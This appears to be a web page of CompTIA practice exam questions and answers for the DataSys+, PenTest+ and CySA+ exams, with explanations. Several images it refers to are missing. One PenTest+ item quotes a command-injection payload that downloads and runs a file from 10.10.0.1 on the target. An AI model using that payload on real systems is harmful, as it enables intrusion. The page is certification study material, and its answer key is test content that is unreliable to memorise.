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CompTIA DataSys+ DS0-001 Practice Exam Questions and Answers

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Number of exam questions	Related
15 (Free)	CompTIA Security+

Question 1:

Which of the following indexes stores records in a tabular format?

A. Columnstore

B. Non-clustered

C. Unique

D. Secondary

Correct Answer: A

The index that stores records in a tabular format is columnstore. A columnstore index is a type of index that stores and compresses data by columns rather than by rows.

A columnstore index can improve the performance and efficiency of queries that perform aggregations, calculations, or analysis on large amounts of data, such as data warehouse or business intelligence applications.

A columnstore index can also reduce the storage space required for data by applying various compression techniques, such as dictionary encoding, run-length encoding, bit packing, etc. The other options are either different types of indexes or not related to indexes at all.

For example, a non-clustered index is a type of index that stores the values of one or more columns in a sorted order along with pointers to the corresponding rows in the table; a unique index is a type of index that enforces uniqueness on one or more columns in a table; a secondary index is an alternative term for a non-clustered index.

References: CompTIA DataSys+ Course Outline, Domain 3.0 Database Management and Maintenance, Objective 3.1 Given a scenario, perform common database maintenance tasks.

Question 2:

Which of the following ismostlikely to prevent tampering with server hardware that houses data?

A. Biometric locks

B. Strong password policy

C. Network firewall

D. Surveillance cameras

Correct Answer: A

The option that is most likely to prevent tampering with server hardware that houses data is biometric locks. Biometric locks are devices that use biological characteristics, such as fingerprints, facial recognition, iris scan, etc., to control access to a physical location or resource.

Biometric locks help prevent tampering with server hardware that houses data by restricting unauthorized entry or theft of the hardware by intruders or attackers. Biometric locks also provide higher security and convenience than other types of locks, such as keys or passwords, which can be lost, stolen, or forgotten.

The other options are either not related or not effective for this purpose. For example, a strong password policy is a set of rules or standards for creating and managing passwords for user accounts or systems; a network firewall is a device or software that controls the incoming and outgoing traffic on a network based on a set of rules or policies; surveillance cameras are devices that capture and record video footage of a physical location or resource.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 3:

Which of the following is a result of an on-path attack on a system?

A. A Wi-Fi networkthat redirects to clones of legitimate websites

B. A website that has crashed and is no longer accessible

C. An email from an unknown source requesting bank account details

D. A web application that returns the addresses of its customers

Correct Answer: A

A result of an on-path attack on a system is a Wi-Fi network that redirects to clones of legitimate websites. An on-path attack is a type of attack that intercepts and modifies the traffic between two parties without their knowledge or consent.

An attacker can use an on-path attack to create a rogue Wi-Fi network that mimics a legitimate one, and then redirect the users to fake websites that look like the ones they intended to visit. The attacker can then steal the users\’ personal or financial information, such as usernames, passwords, credit card numbers, or bank account details.

The other options are either results of different types of attacks or not related to attacks at all. For example, a website that has crashed and is no longer accessible may be a result of a denial-of-service attack, an email from an unknown source requesting bank account details may be a result of a phishing attack, and a web application that returns the addresses of its customers may be a result of a poor design or a data breach.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.4 Given a scenario, identify common types of attacks against databases.

Question 4:

An automated script is using common passwords to gain access to a remote system. Which of the following attacks is being performed?

A. DoS

B. Brute-force

C. SQL injection

D. Phishing

Correct Answer: B

The attack that is being performed is brute-force. A brute-force attack is a type of attack that tries to guess a password or a key by systematically trying all possible combinations of characters or values until the correct one is found.

A brute-force attack can use common passwords, such as “123456”, “password”, or “qwerty”, as well as dictionaries, word lists, or patterns to speed up the process. A brute-force attack can target a remote system, such as a web server, an email account, or a network device, and gain unauthorized access to its data or resources.

The other options are either different types of attacks or not related to password guessing.

For example, a DoS, or Denial-of-Service, attack is a type of attack that floods a system with requests or traffic to overwhelm its capacity and prevent legitimate users from accessing it; an SQL injection attack is a type of attack that inserts malicious SQL statements into an input field or parameter of a web application to manipulate or compromise the underlying database; a phishing attack is a type of attack that sends fraudulent emails or messages that appear to come from a trusted source to trick users into revealing their personalor financial information.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.4 Given a scenario, identify common types of attacks against databases.

Question 5:

A programmer wants to configure a database to only allow read or write access when requests are coming from specific IP addresses. Which of the following can be used to configure IP addresses to allow access to the database?

A. Static IP address

B. Firewall

C. Dynamic IP address

D. IDNS

Correct Answer: B

The best option to configure IP addresses to allow access to the database is a firewall. A firewall is a network device or software that controls the incoming and outgoing traffic based on a set of rules or policies.

A firewall can be used to filter the traffic by IP addresses, ports, protocols, or other criteria, and allow or deny access to the database accordingly. The other options are either not relevant or not sufficient for this task.

For example, a static IP address is an IP address that does not change over time, but it does not determine the access to the database; a dynamic IP address is an IP address that changes periodically, but it does not control the traffic to the database; an IDNS is an Internet Domain Name System, which translates domain names into IP addresses, but it does not regulate the access to the database.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 6:

Which of the following describes a scenario in which a database administrator would use a relational database rather than a non-relational database?

A. An organization wants to maintain consistency among the data in the database.

B. An organization requires data encryption.

C. An organization wants to process complex data sets.

D. An organization wants to store a large number of videos, photos, and documents.

Correct Answer: A

A scenario in which a database administrator would use a relational database rather than a non-relational database is when an organization wants to maintain consistency among the data in the database.

A relational database is a type of database that organizes data into tables with predefined columns and rows, and enforces rules and constraints to ensure data integrity and accuracy. A relational database also supports transactions, which are sets of operations that must be executed as a whole or not at all, to prevent data corruption or inconsistency. The other options are either not exclusive to relational databases or not relevant to the choice of database type.

For example, data encryption can be applied to both relational and non-relational databases, processing complex data sets may require specialized tools or techniques that arenot dependent on the database type, and storing a large number of videos, photos, and documents may be better suited for a non-relational database that can handle unstructured or semi-structured data. References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

Question 7:

Which of the following is a tool for preventing data loss?

A. Gateway

B. IP configuration

C. Encryption

D. Scripts

Correct Answer: C

Question 8:

Which of the following should a company develop to ensure preparedness for a fire in a data center?

A. Deployment plan

B. Backup plan

C. Data retention policy

D. Disaster recovery plan

Correct Answer: D

The document that a company should develop to ensure preparedness for a fire in a data center is a disaster recovery plan.

A disaster recovery plan is a document that outlines how an organization will continue its operations in the event of a disaster or disruption, such as fire, flood, earthquake, cyberattack, etc.

A disaster recovery plan typically includes the followingelements: – The objectives and scope of the plan – The roles and responsibilities of the staff involved – The identification and assessment of the risks and impacts – The strategies and procedures for restoring the critical functions and data – The resources and tools required for the recovery process – The testing and maintenance schedule for the plan A disaster recovery plan helps an organization to minimize the damage and downtime caused by a disaster, as well as to resume normal operations as soon as possible.

The other options are either different types of documents or not specific to fire preparedness. For example, a deployment plan is a document that describes how a system or software will be installed or launched; a backup plan is a document that specifies how data will be copied and stored for backup purposes; a data retention policy is a document that defines how long data should be kept and when it should be deleted or archived.

References: CompTIA DataSys+ Course Outline, Domain 5.0 Business Continuity, Objective 5.4 Given a scenario, implement disaster recovery methods.

Question 9:

Which of the following is recommended in order to provide encrypted data communication pathways for information as it is transmitted over a network?

A. TCP/IP

B. NFS

C. SMB

D. TLS

Correct Answer: D

The option that is recommended in order to provide encrypted data communication pathways for information as it is transmitted over a network is TLS. TLS, or Transport Layer Security, is a protocol that provides secure communication over the internet by encrypting the data using cryptographic algorithms and keys.

TLS also provides authentication and integrity by verifying the identity of the parties involved and ensuring that the data has not been altered or tampered with. TLS can be used to protect various types of data, such as web traffic, email, instant messaging, voice over IP, etc. The other options are either not related or not sufficient for this purpose.

For example, TCP/IP, or Transmission Control Protocol/ Internet Protocol, is a set of protocols that defines how data is transmitted and routed over the internet, but does not provide encryption or security; NFS, or Network File System, is a protocol that allows users to access and share files over a network, but does not provide encryption or security; SMB, or Server Message Block, is a protocol that allows users to access and share files, printers, and other resources over a network, but does not provide encryption or security.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 10:

Which of the following commands is part of DDL?

A. UPDATE

B. GRANT

C. CREATE

D. INSERT

Correct Answer: C

The command that is part of DDL is CREATE. CREATE is a SQL command that belongs to the category of DDL, or Data Definition Language. DDL is a subset of SQL commands that are used to define or modify the structure or schema of a database, such as tables, columns, constraints, indexes, views, etc.

CREATE is a DDL command that is used to create a new object in a database, such as a table, column, constraint, index, view, etc. For example, the following statement uses the CREATE command to create a new table called employee with four columns:

CREATE TABLE employee (

emp_id INT PRIMARY KEY,

emp_name VARCHAR(50) NOT NULL,

emp_dept VARCHAR(20),

emp_salary DECIMAL(10,2)

);

Copy

The other options are either part of different categories of SQL commands or not SQL commands at all. For example, UPDATE is a SQL command that belongs to the category of DML, or Data Manipulation Language.

DML is a subset of SQL commands that are used to manipulate or modify the data or content of a database, such as inserting, updating, deleting, or selecting data. GRANT is a SQL command that belongs to the category of DCL, or Data Control Language.

DCL is a subset of SQL commands that are used to control or manage the access or permissions of users or roles on a database, such as granting or revoking privileges or roles. INSERT is a SQL command that belongs to the category of DML, or Data Manipulation Language. INSERT is a DML command that is used to insert new data into a table.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 11:

Which of the following have data manipulation and procedural scripting power? (Choose two.)

A. PQL

B. PL/SQL

C. Advanced

D. SQL

E. SQL

F. T-SQL

Correct Answer: BF

The two options that have data manipulation and procedural scripting power are PL/SQL and T-SQL. PL/SQL, or Procedural Language/Structured Query Language, is an extension of SQL that adds procedural features to SQL for Oracle databases.

PL/SQL allows users to create and execute stored procedures, functions, triggers, packages, etc., using variables, loops, conditions, exceptions, etc., in addition to SQL commands. PL/SQL helps improve the performance, functionality, modularity, and security of SQL queries and applications.

T-SQL, or Transact-SQL, is an extension of SQL that adds procedural features to SQL for Microsoft SQL Server databases. T-SQL allows users to create and execute stored procedures, functions, triggers, etc., using variables, loops, conditions, exceptions, etc., in addition to SQL commands.

T-SQL helps improve the performance, functionality, modularity, and security of SQL queries and applications. The other options are either not related or not having both data manipulation and procedural scripting power.

For example, PQL, or Power Query Language, is a data analysis andtransformation language for Microsoft Power BI and Excel; Advanced SQL is a term that refers to the advanced features or techniques of SQL, such as subqueries, joins, aggregations, etc.; SQL, or Structured Query Language, is a standard language for manipulating and querying data in relational databases, but it does not have procedural features.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 12:

A developer is designing a table that does not have repeated values. Which of the following indexes should the developer use to prevent duplicate values from being inserted?

A. Unique

B. Single column

C. Implicit

D. Composite

Correct Answer: A

The index that the developer should use to prevent duplicate values from being inserted is unique.

A unique index is a type of index that enforces the uniqueness of the values in one or more columns of a table.

A unique index ensures that no two rows in the table have the same value or combination of values in the indexed columns.

A unique index helps to maintain data integrity and avoid data duplication or inconsistency. The other options are either not related or not effective for this purpose.

For example, a single column index is a type of index that involves only one column of a table, but it does not prevent duplicate values unless it is also unique; an implicit index is a type of index that is automatically created by the database system when a constraint or a primary key is defined on a column or columns of a table, but it does not prevent duplicate values unless it is also unique; a composite index is a type of index that involves two or more columns of a table, but it does not prevent duplicate values unless it is also unique.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 13:

A database administrator is conducting a stress test and providing feedback to a team that is developing an application that uses the Entity Framework. Which of the following explains the approach the administrator should use when conducting the stress test?

A. Capture business logic, check the performance of codes, and report findings.

B. Check the clustered and non-clustered indexes, and report findings.

C. Review application tables and columns, and report findings.

D. Write queries directly into the database and report findings.

Correct Answer: A

The approach that the administrator should use when conducting the stress test is to capture business logic, check the performance of codes, and report findings.

This will help the administrator to evaluate how well the application handles high volumes of data and transactions, identify any bottlenecks or errors in the code, and provide feedback to the development team on how to improve the application\’s efficiency and reliability.

The other options are either too narrow or too broad in scope, and do not address the specific needs of an application that uses the Entity Framework.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.3 Given a scenario, monitor database performance and security.

Question 14:

A database administrator would like to create a table named XYZ. Which of the following queries should the database administrator use to create the table?

CompTIA DataSys+ DS0-001 practice exam questions and answers 14

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: B

The query that the administrator should use to create the table is option B. This query uses the CREATE TABLE statement to define a new table named XYZ with three columns: ID, Name, and Age. Each column has a data type and a constraint, such as NOT NULL, PRIMARY KEY, or CHECK.

The other options either have syntax errors, use incorrect keywords, or do not specify the table name or columns correctly. References: CompTIA DataSys+ Course Outline, Domain

1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

Question 15:

A company is launching a proof-of-concept, cloud-based application. One of the requirements is to select a database engine that will allow administrators to perform quick and simple queries on unstructured data.Which of the following would bebestsuited for this task?

A. MonogoDB

B. MS SQL

C. Oracle

D. Graph database

Correct Answer: A

The best suited database engine for this task is MongoDB.

MongoDB is a type of non-relational database that stores data as documents in JSON-like format. MongoDB allows administrators to perform quick and simple queries on unstructured data, such as text, images, videos, or social media posts, without requiring a predefined schema or complex joins.

MongoDB also supports cloud-based deployment, scalability, and high availability. The other options are either relational databases that require a fixed schema and structure for data, or specialized databases that are designed for specific purposes, such as graph databases for storing and analyzing network data. References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

…

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Question 1:

A penetration tester could gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = “POST “

exploit += “/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS} ?

c${IFS}\’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache\’%0A%27andloginUser=aandPwd=a”

exploit += “HTTP/1.1”

Which of the following commands should the penetration tester run post-engagement?

A. grep -v apache ~/.bash_history > ~/.bash_history

B. rm -rf /tmp/apache

C. chmod 600 /tmp/apache

D. task kill /IM “Apache” /F

PS. The correct answer is provided at the end of the article

Answer analysis:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are cd /tmp: change the current directory to /tmp wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1 chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone ./apache: run the file as an executable The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action.

Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

Question 2:

SIMULATION A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets. INSTRUCTIONS Select the appropriate answer(s), given the output from each section. Output 1

latest CompTIA PT0-002 Actual exam questions 2

latest CompTIA PT0-002 Actual exam questions 2-1

latest CompTIA PT0-002 Actual exam questions 2-2

A. Check the answer in the explanation.

Correct Answer: A

latest CompTIA PT0-002 Actual exam questions answer 2

latest CompTIA PT0-002 Actual exam questions answer 2-1

Question 3:

A penetration tester develops exploits to attack multiple versions of a common software package. The versions have different menus and )ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?

A. Conditional

B. Library

C. Dictionary

D. Sub application

PS. The correct answer is provided at the end of the article

Answer analysis:

The term that is used to describe the common log-in code example is a library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package.

The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements.

The dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub-application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

Question 4:

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company\’s employees.

Which of the following tools can help the tester achieve this goal?

A. Metasploit

B. Hydra

C. SET D. WPScan

PS. The correct answer is provided at the end of the article

Question 5:

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-12-20 09:23AM 331 index.aspx | ftp-syst: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server | rdp-ntlm-info: | Target Name: WEB3 | NetBIOS_Computer_Name: WEB3 | Product_Version: 6.3.9600 |_ System_Time: 2021-01-15T11:32:06+00:00 8443/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server Which of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23

B. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 –U guest

C. crack –u Administrator –P 15worst_passwords.txt –p RDP 192.168.53.23

D. curl –X TRACE https://192.168.53.23:8443/index.aspx

E. nmap –-script vuln –sV 192.168.53.23

PS. The correct answer is provided at the end of the article

Question 6:

A penetration tester issues the following command after obtaining a shell:

latest CompTIA PT0-002 Actual exam questions 6

Which of the following describes this technique?

A. Establishing a backdoor

B. Privilege escalation

C. PowerShell remoting

D. Living-off-the-land

PS. The correct answer is provided at the end of the article

Question 7:

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester can query the provider\’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery

B. Server-side request forgery

C. Remote file inclusion

D. Local file inclusion

PS. The correct answer is provided at the end of the article

Answer analysis:

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider\’s metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

Reference: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

Question 8:

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST

Nmap scan report for ( 10.2.1.22 )

The host is up (0.0102s latency).

Not shown: 998 filtered ports

Port State Service

80/tcp open HTTP

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING): QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches were found for the host (test conditions non-ideal).

OS detection was performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device

B. Public-facing web server

C. Active Directory domain controller

D. IoT/embedded device

E. Exposed RDP

F. Print queue

PS. The correct answer is provided at the end of the article

https://www.netscout.com/what-is-ddos/slowloris-attacks From the HTTP title in the output, this looks like an IoT device with RH implying Relative Humidity, which offers a web-based interface for visualizing the results.

Question 9:

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.

B. The team exfiltrates PII or credit card data from the organization.

C. The team loses access to the network remotely.

D. The team discovers another actor on a system on the network.

PS. The correct answer is provided at the end of the article

Question 10:

A consultant is reviewing the following output after reports of intermittent connectivity issues:

(192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

(192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]

(192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]

(192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]

(192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

(192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]

(224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]

(239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]

Which of the following is MOST likely to be reported by the consultant?

A. A device on the network has an IP address in the wrong subnet.

B. A multicast session was initiated using the wrong multicast group.

C. An ARP flooding attack uses the broadcast address to perform DDoS.

D. A device on the network has poisoned the ARP cache.

PS. The correct answer is provided at the end of the article

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address.

With this on the same network, intermittent connectivity will be inevitable as long as the gateway remains unreachable on the IP known by the other machines on the network and given that the new machine claiming to be the gateway has not been configured to route traffic.

The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network.

However, one entry in the table is suspicious:

? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] This entry has the same MAC address as another entry:

? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.

Question 11:

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

A. Add the passwords to an appendix in the penetration test report.

B. Do nothing. Using passwords from breached data is unethical.

C. Contact the client and inform them of the breach.

D. Use the passwords in a credential stuffing attack when the external penetration test begins.

PS. The correct answer is provided at the end of the article

Answer analysis:

Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach.

This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures.

Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible while doing nothing

(option B) neglects the tester\’s duty to inform the client of potential threats. Using the passwords in a credential stuffing attack

(option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.

Question 12:

Within a Python script, a line that states print (var) outputs the following:

[{\’1\’ : \’CentOS\’, \’2\’ : \’Ubuntu\’), {\’1\’ : \’Windows 10\’, \’2\’ : \’Windows Server 2016\’}]

Which of the following objects or data structures is var ?

A. An array

B. A class

C. A dictionary

D. A list

PS. The correct answer is provided at the end of the article

Answer analysis:

A list is a data structure in Python that can store multiple values of different types in a sequential order. A list is created by enclosing the values in square brackets [ ] and separating them by commas. A list can also contain other lists as its elements, creating a nested or multidimensional list. The output of the print (var) statement shows that var is a list that contains two elements, each of which is another list with two key-value pairs. The key-value pairs are enclosed in curly braces { }, which indicate that they are dictionaries, another data structure in Python that maps keys to values. Therefore, var is a list of dictionaries.

Question 13:

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

A. Ensure the client has signed the SOW.

B. Verify the client has granted network access to the hot site.

C. Determine if the failover environment relies on resources not owned by the client.

D. Establish communication and escalation procedures with the client.

PS. The correct answer is provided at the end of the article

Answer analysis:

The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.

Question 14:

A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

latest CompTIA PT0-002 Actual exam questions 14

Which of the following should the penetration tester do NEXT?

A. Close the reverse shell the tester is using.

B. Note this finding for inclusion in the final report.

C. Investigate the high-numbered port connections.

D. Contact the client immediately.

PS. The correct answer is provided at the end of the article

Answer analysis:

The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols.

The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high-numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155.

These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high-numbered ports, such as 4433, 4434, 4435, and 4436.

These ports are not well-known or registered ports for any common service or protocol. The combination of high-numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host.

Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

Question 15:

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

A. The CVSS score of the finding

B. The network location of the vulnerable device

C. The vulnerability identifier

D. The client acceptance form

E. The name of the person who found the flaw

F. The tool used to find the issue

PS. The correct answer is provided at the end of the article

…

Verify answer:

Q10

Q11

Q12

Q13

Q14

Q15

Summarize:

Leads4Pass PT0-002 Actual exam materials simulate real exams and contain 403 latest Actual exam questions with accurate answers and problem analysis to help you prepare for the real certification exam.
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July 26, 2024 by admin CompTIA CompTIA PenTest+ CompTIA PT0-002 exam materials CompTIA pt0-002 exam practice CompTIA PT0-002 exam questions

New CompTIA CySA+ cs0-003 free exam materials

The New CompTIA CySA+ cs0-003 exam materials are the latest updated actual exam questions in 2024. It currently has 427 exam questions and answers! The most important thing is that candidates can get the 12 latest free exam materials at ExamsCode.

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What is CompTIA CySA+?

Starting from June 2023, the CompTIA CySA+ certification exam code will be changed from CS0-002 to CS0-003. Each CompTIA certification exam will update the exam code three years after its release and will make new upgrades.

CompTIA CySA+ Cybersecurity Analyst is an IT staff certification that applies behavioral analysis to networks and devices to prevent, detect, and respond to cybersecurity threats through continuous security monitoring.

CompTIA CySA+ is CompTIA’s only mid-level, high-stakes cybersecurity analyst certification with hands-on, performance-based questions and multiple-choice questions. CySA+ not only focuses on the candidate’s ability to proactively capture monitoring and respond to network traffic findings, but also emphasizes software and application security, automation, threat hunting, and IT compliance, which impact the day-to-day work of a security analyst.

Covering the latest core security analyst skills and upcoming job skills used by Threat Intelligence Analysts, Application Security Analysts, Compliance Analysts, Incident Responders/Handlers, and Threat Hunters, CySA+ brings the inside of Countering Threat Intelligence and new technology Security Operations Centers (SOC) for external threats.

CompTIA CySA+ cs0-003 exam materials list

Here are the new CompTIA CySA+ cs0-003 exam materials we share for free:

1.	12 latest exam questions
2.	Best answer
3.	Combining pictures and text with practice questions
4.	Exam question analysis and answer explanations

NEW QUESTION 1:

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

A. Eradication

B. Recovery

C. Containment

D. Preparation

Correct Answer: A

Analysis and explanation

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files.

Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

NEW QUESTION 2:

A security analyst found the following entry in a server log:

comptia cs0-003 exam materials questions 2

The analyst executed netstat and received the following output:

comptia cs0-003 exam materials questions 2-1

Which of the following lines in the output confirms this was successfully executed by the server?

A. 1

B. 2

C. 3

D. 4

E. 5

F. 6

G. 7

Correct Answer: E

NEW QUESTION 3:

An international company is implementing a marketing campaign for a new product and needs a security analyst to perform a threat-hunting process to identify possible threat actors. Which of the following should be the analyst\’s primary focus?

A. Hacktivists

B. Organized crime

C. Nation-states

D. Insider threats

Correct Answer: B

NEW QUESTION 4:

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

A. Testing

B. Implementation

C. Validation

D. Rollback

Correct Answer: C

Analysis and explanation

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

NEW QUESTION 5:

Legacy medical equipment, which contains sensitive data, cannot be patched. Which of the following is the best solution to improve the equipment\’s security posture?

A. Move the legacy systems behind a WAR

B. Implement an air gap for the legacy systems.

C. Place the legacy systems in the perimeter network.

D. Implement a VPN between the legacy systems and the local network.

Correct Answer: B

Analysis and explanation

Implementing an air gap for the legacy systems is the best solution to improve their security posture. An air gap is a physical separation of a system or network from any other system or network that may pose a threat.

An air gap can prevent any unauthorized access or data transfer between the isolated system or network and the external environment.

Implementing an air gap for legacy systems can help protect them from being exploited by attackers who may take advantage of their unpatched vulnerabilities.

NEW QUESTION 6:

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

A. Business continuity plan

B. Vulnerability management plan

C. Disaster recovery plan

D. Asset management plan

Correct Answer: C

NEW QUESTION 7:

Security awareness and compliance programs are most effective at reducing the likelihood and impact of attacks from:

A. advanced persistent threats.

B. corporate spies.

C. hacktivists.

D. insider threats.

Correct Answer: D

NEW QUESTION 8:

A company is aiming to test a new incident response plan. The management team has made it clear that the initial test should have no impact on the environment. The company has limited resources to support testing. Which of the following exercises would be the best approach?

A. Tabletop scenarios

B. Capture the flag

C. Red team vs. blue team

D. Unknown-environment penetration test

Correct Answer: A

Analysis and explanation

A tabletop scenario is an informal, discussion-based session in which a team discusses their roles and responses during an emergency, walking through one or more example scenarios.

A tabletop scenario is the best approach for a company that wants to test a new incident response plan without impacting the environment or using many resources. A tabletop scenario can help the company identify strengths and weaknesses in its plan, clarify roles and responsibilities, and improve communication and coordination among team members.

The other options are more intensive and disruptive exercises that involve simulating a real incident or attack. CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 16;

https://www.linkedin.com/pulse/tabletop-exercises-explained-matt-lemon-phd

NEW QUESTION 9:

A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit the vulnerability:

comptia cs0-003 exam materials questions 9

Which of the following log entries provides evidence of the attempted exploit?

A. Log entry 1

B. Log entry 2

C. Log entry 3

D. Log entry 4

Correct Answer: A

NEW QUESTION 10:

